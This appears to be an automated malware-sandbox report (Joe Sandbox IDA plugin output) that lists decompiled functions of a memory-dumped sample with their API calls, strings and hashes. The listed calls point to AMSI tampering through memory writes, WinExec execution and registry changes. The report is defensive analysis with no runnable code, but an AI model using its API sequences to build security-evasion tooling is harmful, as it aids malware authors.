Instruction ID: 9dd147f591a483cd5f93136fbf69c8f4e7b7c89a9e194e82a671e8adfaf40165
Opcode Fuzzy Hash: 74d6fb5c4ff575110aed137e9056688380cff6e557952c8febb5bf92250b4d06
Instruction Fuzzy Hash: 82B15872A043518FE715CF28D580355BBE5FF85320F2886AED94D8B386DB70D462CB9A

Function 029D870C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 029D8715

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

Part of subcall function 029D7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 029D7D74

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 029D8774

Strings

W, xrefs: 029D8721
DllGetClassObject, xrefs: 029D873A
amsi, xrefs: 029D8710

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 280a03d43087c054a1c14264a12ea5bba67ea397f2b915eebc11d821c12717fa
Instruction ID: 007ffce3675b1bead32e6714371ce53a61a2bb4803f038fea08d9089f3a590cb
Opcode Fuzzy Hash: 280a03d43087c054a1c14264a12ea5bba67ea397f2b915eebc11d821c12717fa
Instruction Fuzzy Hash: EAF0AF5010C381B9E201E6B48C45F8FBECD4BD2224F44CA4CF1E85A2D2D679D1059BA7

Function 029C1A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?), ref: 029C1B17
Sleep.KERNEL32(0000000A,00000000,?), ref: 029C1B31

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d48d07380c30df3acfb0629906df6a29dfa0e1cc79cb690d5fd32e9f45920710
Instruction ID: f18cbf7d2d2d670029dbcd6113e950913464e742bde4c05e239190ea33dda3fc
Opcode Fuzzy Hash: d48d07380c30df3acfb0629906df6a29dfa0e1cc79cb690d5fd32e9f45920710
Instruction Fuzzy Hash: 1551C3716413408FE715CF68CA84766BBD4AF85324F3885AED94CCB287EB70D446CB9A

Function 029DE2F6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 029DE436

Strings

OpenSession, xrefs: 029DE3D8
ScanBuffer, xrefs: 029DE37F
Initialize, xrefs: 029DE326

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: f5f734f319c318ededb488c55b82c335ef7547122f1cbda3155cd992e363b6d9
Instruction ID: 452e023f94df67480c6a49d4f6121fd8ed03443a6c91a90e7549d5063f65b484
Opcode Fuzzy Hash: f5f734f319c318ededb488c55b82c335ef7547122f1cbda3155cd992e363b6d9
Instruction Fuzzy Hash: 2D411D35B501189BEB00FBA4CD90E9EB3FAEFCC710F219429E085A7244DA74AD019F65

Function 029D840E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON

Download Yara Rule

APIs

Part of subcall function 029D8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,029D8090,?,?,00000000,?,029D7A06,ntdll,00000000,00000000,029D7A4B,?,?,00000000), ref: 029D805E
Part of subcall function 029D8020: GetModuleHandleA.KERNELBASE(?), ref: 029D8072

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

WinExec.KERNEL32(?,?), ref: 029D8478

Strings

Kernel32, xrefs: 029D845B
WinExec, xrefs: 029D8429

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: ef31cb22321ea1eda6eff78e1ec1a1967dc24cc3fe08e54687327db1d748cf1b
Instruction ID: 7254343a343f5f3425a20a93182d6f90037fa61ae4c6f7a5391c0937b6ef24a6
Opcode Fuzzy Hash: ef31cb22321ea1eda6eff78e1ec1a1967dc24cc3fe08e54687327db1d748cf1b
Instruction Fuzzy Hash: E6016D35744208BFEB10EEA9DC11B6A77EEF788B00FA18464B908D2641DA74B9019A25

Function 029D8410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON

Download Yara Rule

APIs

Part of subcall function 029D8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,029D8090,?,?,00000000,?,029D7A06,ntdll,00000000,00000000,029D7A4B,?,?,00000000), ref: 029D805E
Part of subcall function 029D8020: GetModuleHandleA.KERNELBASE(?), ref: 029D8072

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

WinExec.KERNEL32(?,?), ref: 029D8478

Strings

Kernel32, xrefs: 029D845B
WinExec, xrefs: 029D8429

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: eb162f0b1bb31e645dcc3841794e684560b93fbcc5399873a19b62cab402937e
Instruction ID: b88cbfcad86833e499b2cd4561334f33bf7822463e94e4f7970a631e0385e291
Opcode Fuzzy Hash: eb162f0b1bb31e645dcc3841794e684560b93fbcc5399873a19b62cab402937e
Instruction Fuzzy Hash: 4FF06D35744208ABEB10EEA9DC11B5A77EEF788B00FA18464B50892641DA74B9019A25

Function 029D5BB4 Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,029D5CFC,?,?,029D3888,00000001), ref: 029D5C10
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,029D5CFC,?,?,029D3888,00000001), ref: 029D5C3E

Part of subcall function 029C7D18: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,029D3888,029D5C7E,00000000,029D5CFC,?,?,029D3888), ref: 029C7D66

Part of subcall function 029C7F20: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,029D3888,029D5C99,00000000,029D5CFC,?,?,029D3888,00000001), ref: 029C7F3F

GetLastError.KERNEL32(00000000,029D5CFC,?,?,029D3888,00000001), ref: 029D5CA3

Part of subcall function 029CA700: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,029CC361,00000000,029CC3BB), ref: 029CA71F

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: e9273241798426510c63e4f1261b8dacb1f878cffc4ebf3b3431de64a6bbf67f
Instruction ID: 60b1632a7115e4ed5382b0a4e476965599482383a6eeccc2c62e818c7e1b479d
Opcode Fuzzy Hash: e9273241798426510c63e4f1261b8dacb1f878cffc4ebf3b3431de64a6bbf67f
Instruction Fuzzy Hash: 92316670A043099FDB00EFA4C9817EEB7F6AF88714FA18469E504E7380DB755905CFA6

Function 029DE6BE Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02B15914), ref: 029DE704
RegSetValueExA.ADVAPI32(00000888,00000000,00000000,00000001,00000000,0000001C,00000000,029DE76F), ref: 029DE73C
RegCloseKey.ADVAPI32(00000888,00000888,00000000,00000000,00000001,00000000,0000001C,00000000,029DE76F), ref: 029DE747

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 1fab643168cb4063880089bfa6a4618db97ee96c6c42a11e4dde9f5534d5ca76
Instruction ID: 67b671f2e514e02c386a66bd6e2879099ebd3556d64f045c9e377dba3615310f
Opcode Fuzzy Hash: 1fab643168cb4063880089bfa6a4618db97ee96c6c42a11e4dde9f5534d5ca76
Instruction Fuzzy Hash: A3114F71750214AFEB14EFA8CC9196E7BEDEB88760FA05468B604DB254D730DE00DF62

Function 029DE6C0 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02B15914), ref: 029DE704
RegSetValueExA.ADVAPI32(00000888,00000000,00000000,00000001,00000000,0000001C,00000000,029DE76F), ref: 029DE73C
RegCloseKey.ADVAPI32(00000888,00000888,00000000,00000000,00000001,00000000,0000001C,00000000,029DE76F), ref: 029DE747

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 1c166cb1b926bdb8e6a6d212426aaf7c9c832e140515a040e57312b731035103
Instruction ID: e00dcf7cb4661d1134512e8ba4f6f5aac58a5f2304e7c768ec746809103ca5ce
Opcode Fuzzy Hash: 1c166cb1b926bdb8e6a6d212426aaf7c9c832e140515a040e57312b731035103
Instruction Fuzzy Hash: F9114F71750214AFEB14EFA8C89195E7BEDEB88760FA05468B604DB254D730DA00DF62

Function 029CE2EC Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 029CE2FB

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 302ade95d1b9a7ba2de9142f3412600a97bc6d975b7accb27b37e500ab4a575b
Instruction ID: 951342a2624dafbf97ecb8509192666265faf94e6d8d84769df7e27860189299
Opcode Fuzzy Hash: 302ade95d1b9a7ba2de9142f3412600a97bc6d975b7accb27b37e500ab4a575b
Instruction Fuzzy Hash: E9F0622470421486D7257B38C9C866D6A9EBFC5710B70583EA4CB9B28ACB34EC46CB63

Function 029C4CFC Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(029DE950), ref: 029C4C1A
SysAllocStringLen.OLEAUT32(?,?), ref: 029C4D07
SysFreeString.OLEAUT32(00000000), ref: 029C4D19

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
Instruction ID: 2ad7de5a631f4bd0fc11fb5ed58ca84d46a0ee583fbe0a968d86b0d881d0ff0b
Opcode Fuzzy Hash: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
Instruction Fuzzy Hash: 7DE017FC2052016EFB182F21DC50B3B772EAFC1741B74989DA804CA169DB38D841AE3A

Function 029D7064 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 029D7362

Strings

H, xrefs: 029D7119

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 5fd2bfe7138d82b1d633c9a30c2d0cc91df03f5916d5dbda417ae3618b8e72f4
Instruction ID: 7b1850f3ae1e01b046be3927dce8ffdb4b763f5b409c6a910f171311063a395b
Opcode Fuzzy Hash: 5fd2bfe7138d82b1d633c9a30c2d0cc91df03f5916d5dbda417ae3618b8e72f4
Instruction Fuzzy Hash: 54B1EF74A016089FDB14CFA9E880AADFBF6FF89314F248569E905AB360D731A845DF50

Function 029D8824 Relevance: 3.1, APIs: 2, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000,029D890B), ref: 029D8858

Part of subcall function 029D8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,029D8090,?,?,00000000,?,029D7A06,ntdll,00000000,00000000,029D7A4B,?,?,00000000), ref: 029D805E
Part of subcall function 029D8020: GetModuleHandleA.KERNELBASE(?), ref: 029D8072

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

Part of subcall function 029D7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 029D7D74

FreeLibrary.KERNEL32(74B10000,00000000,02A21388,Function_000065D8,00000004,02A21398,02A21388,05F5E0FF,00000040,02A2139C,74B10000,00000000,00000000,00000000,00000000,029D890B), ref: 029D88EB

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: HandleModule$AddressLibraryProc$FreeLoadMemoryVirtualWrite
String ID:
API String ID: 3283153180-0
Opcode ID: d4ca3f887d8fc59d5491ef7d3a2c4fd6934bc728dbf89816b4b46bca9b468efe
Instruction ID: 0d1fe3d3a2362f5c7c69a9ea0d6ca8f1c22128b883a1f0f74becf1fe7d79ef68
Opcode Fuzzy Hash: d4ca3f887d8fc59d5491ef7d3a2c4fd6934bc728dbf89816b4b46bca9b468efe
Instruction Fuzzy Hash: F0119A74B40314ABFB50FBE8CE11A5E77AAEBC5710F6244A87108E7642DE3499019F55

Function 029CE6E8 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 029CE709

Part of subcall function 029CE2EC: VariantClear.OLEAUT32(?), ref: 029CE2FB

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: f5b4b80eac852f800e1c5e6d9d677302ef082feeffd925b338c4710ae2c093c5
Instruction ID: 8f3a2f868f565467b878d9ae0b3a9593793a2c2acd7ec22007c3339e87004c6a
Opcode Fuzzy Hash: f5b4b80eac852f800e1c5e6d9d677302ef082feeffd925b338c4710ae2c093c5
Instruction Fuzzy Hash: D6117020700254978B30AB28C9C4666679AEFC5750734983EA9CB9B25ADB30CC41CA63

Function 029CE384 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 029CE3C4

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 684a30644f340b77280ccdd81a43919218e410bb1e10336edb0dec065349b242
Instruction ID: 3c83bad917d7469f9a09c172991615aac9778abf55f925a99cc1fa80250b5cae
Opcode Fuzzy Hash: 684a30644f340b77280ccdd81a43919218e410bb1e10336edb0dec065349b242
Instruction Fuzzy Hash: 40315071A00248AFDB10DFA8C985ABE77ECEB4C304F644569F98AD3241D734E951CB63

Function 029D6CF4 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,029D6D41,?,?,?,00000000), ref: 029D6D21

Part of subcall function 029C4C0C: SysFreeString.OLEAUT32(029DE950), ref: 029C4C1A

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 696a0d9e4344b970e80d0e546907a1b83b733301ad7319d03e5a2dc8c013e55c
Instruction ID: 9a5b863f8e1eeed594c7d31afaef69e63305e46ef3bd4f05ae83db02d06fbee8
Opcode Fuzzy Hash: 696a0d9e4344b970e80d0e546907a1b83b733301ad7319d03e5a2dc8c013e55c
Instruction Fuzzy Hash: 90E06571704204BBE701FBA1EC5195A77EDEFC9B10B614475E401D3550D974BD00A961

Function 029C5814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(029C0000,?,00000105), ref: 029C5832

Part of subcall function 029C5A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,029C0000,029ED790), ref: 029C5A94
Part of subcall function 029C5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,029C0000,029ED790), ref: 029C5AB2
Part of subcall function 029C5A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,029C0000,029ED790), ref: 029C5AD0
Part of subcall function 029C5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 029C5AEE
